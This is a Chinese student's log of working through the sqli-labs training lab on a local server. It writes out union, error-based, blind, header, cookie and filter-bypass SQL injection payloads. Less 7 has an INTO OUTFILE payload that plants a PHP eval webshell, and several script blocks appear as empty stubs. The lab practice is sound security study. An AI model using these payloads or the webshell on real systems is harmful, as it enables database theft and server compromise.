2023/07/16:夏令营week1记录:sql-lab
判断封闭过滤->搜集信息(数据库名、表名、字段名等)->注入
部署在localhost:8081
Page 1
Less 1
依标题这是get型,没有过滤(用#会直接报错)
尝试下?id=1'
,报错,再用?id=1'--+
,字符型
输入?id=1' order by 3--+
正常显示,改为4报错,判断有3列
获得数据库信息:?id=-1' union select 1,database(),3--+
结果为security
表:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
结果为users
字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
由题目,选择username和password
结果:?id=-1' union select 1,2,group_concat(username,id,password) from users --+
Less 2
跟上一题差不多,不过数字型去掉单引号即可
Less 3
输入?id=1’时报错信息中有括号,在单引号后补个括号后剩下步骤与Less 1差不多
Less 4
输入?id=1’正常,输入?id=1”报错且报错信息中有括号,与Less 1类似
Less 5
题目说明本题双注
单引号闭合
方法一:双注
双注: 当查询语句的前面出现聚合函数 就是多个返回结果count()就是多行的意思 后面的查询结果代码会以错误的形式显示出来
原理:
count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来
可能使用到的语句:
rand():遵循四舍五入把原值转化为指定小数位数,当不指定时,返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值
floor:向下舍入为指定小数位数
ceiling:向上舍入为指定小数位数
注入语句:select count(*) from [table] group by concat('~',([真正的查询语句]),'~',floor(rand(0)*2))
或select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a
使用floor(rand()*2)返回结果只有0和1,当为0时报错
获得数据库信息:?id=-1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
获得表:?id=-1' union all select count(*),2,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
获得字段:?id=-1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
结果:?id=-1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
方法二:盲注
本题无回显也可以考虑盲注
由于有报错回显,可使用布尔盲注
Less 6
双引号闭合,剩下步骤与上相同
使用sqlmap:
python sqlmap.py -u “http://localhost:8081/Less-6/?id=1" –current-db
返回:security
Less 7
导出文件型
使用outfile 写入到服务器,可以利用这个漏洞写入一句话马
需要验证几个条件:
1.获取文件的可读1')) and (select count(*) from mysql.user)>0 %23
2.注入文件id=-1')) union select 1,2,3 into outfile "绝对地址" %23
3.id=-1')) union select 1,"<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" %23
但尝试后出不来
可以让sqlmap执行相同工作(
Less 8
布尔型盲注
找了个脚本
1 |
|
Less 9 & 10
均为时间盲注
引号闭合不同
1 |
|
Less 11 - 14
与 1-4 类似,但改为POST型
Less 15 & 16
post时间盲注,引号闭合不同
1 |
|
Less 17
根据提示为密码更新,尝试后发现有报错信息
报错注入:
1 |
|
Less 18
先对ip尝试注入,无效
用admin/admin登录,发现存在回显显示了User Agent
测试闭合,存在报错信息
1 |
|
Less 19
用admin/admin登录,存在回显Referer
测试闭合,存在报错信息
与18同,但是换了个位置
Less 20(写不出来,修改cookie就收不到请求包)
针对cookie头部注入
(跑不出来)
cookie中的uname补单引号会出现报错信息,可以进行报错注入
也可直接使用联合注入语句
Page 2
Less 21
仍然是在cookie注入,但是经过base64编码,将注入语句编码即可
该题为')
闭合
Less 22
与21区别闭合改为双引号
Less 23
过滤了注释,无法用#
和--
1 |
|
Less 24
二次注入:对二次调用函数没有进行过滤,导致用户可以通过构造payload绕过去修改其他用户的密码
先注册账号admin ' #
并登录,然后对密码进行修改
登录admin,使用刚刚修改的密码发现登录成功
Less 25
过滤or和and
查看源码,黑名单将这两个关键字替换为空格,可以使用双写绕过
可使用报错注入,直接联合注入也有回显
Less 25a
25的升级变为盲注
联合注入+时间盲注脚本
Less 26 & 26a
过滤注释和空格
也可以直接使用报错注入
关于过滤:
1 |
|
联合注入:
1 |
|
报错注入:
1 |
|
26a升级盲注,但使用联合注入union select 1,2,3
仍有回显
Less 27 & 27a
过滤union和select两个关键字及注释空格
可以使用大小写绕过
1 |
|
Less 28 & 28a
在27的基础上增加大小写的过滤?id=')%A0UnIoN%A0SeLeCt%A01,3,4%26%26%a0('1
Less 29
看wp需要利用HPP漏洞
HPP是“ HTTP Parameter Pollution ”的缩写,即“ HTTP 参数污染 ”,
通常在一个请求中,同样名称的参数只会出现一次,但是在 HTTP 协议中是允许同样名称的参数出现多次的。
在这里选择注入?id=1&id=0
,第一个参数进入WAF(jsp服务器,在这题起到防火墙的作用),第二个参数则直接输出,在第二个参数中注入即可
1 |
|
Less 30
同样方法,改双引号
1 |
|
Less 31
同样方式
1 |
|
Less 32
会对特殊字符添加转义字符\(如addslashes()函数)
这里需要宽字节注入,利用数据库编码与前端编码不一致
1 |
|
这里%df
超过两个字节,单引号逃逸
Less 33
提示绕过addslashes()
addslashes():返回在预定义字符(引号,反斜杠)之前添加反斜杠的字符串。
与Less 32同
Less 34(写不出来)
改为POST,与上差不多,但跑不出来
Less 35
这里没有引号闭合和任何过滤,直接输入联合注入语句即可
Less 36
转义字符
1 |
|
可以用相同方法绕过
1 |
|
Less 37
改为post型,大体与上同
Page 3
Less 38
需要堆叠注入,即通过将多条语句通过;隔开写在一起构成多语句
1 |
|
Less 39
不用闭合直接注入
1 |
|
Less 40
1 |
|
Less 41
添加了盲注,先延时注入判断字段名再使用堆叠注入即可
1 |
|
Less 42
POST型,密码处报错,单引号闭合,注入点在密码栏
点击注册账号,提示为堆叠注入需创造新账号
在密码栏处输入联合注入语句获得字段等信息后进行堆叠注入
Less 43
将闭合改为')
余下相同
Less 44
改为盲注,单引号闭合,余下类似
Less 45
盲注,闭合')
,同上
Less 46
输入sort的值,说明与order by拼接
输入4,存在报错语句,采用报错注入
1 |
|
Less 47
1 |
|
Less 48 & 49
两题均为盲注,均可使用延时注入
Less 50 & 51
两题均有报错信息,考虑报错注入
Less 52 & 53
无回显,选择盲注
参考
https://blog.51cto.com/u_13927568/5830763
https://blog.csdn.net/wang_624/article/details/101913584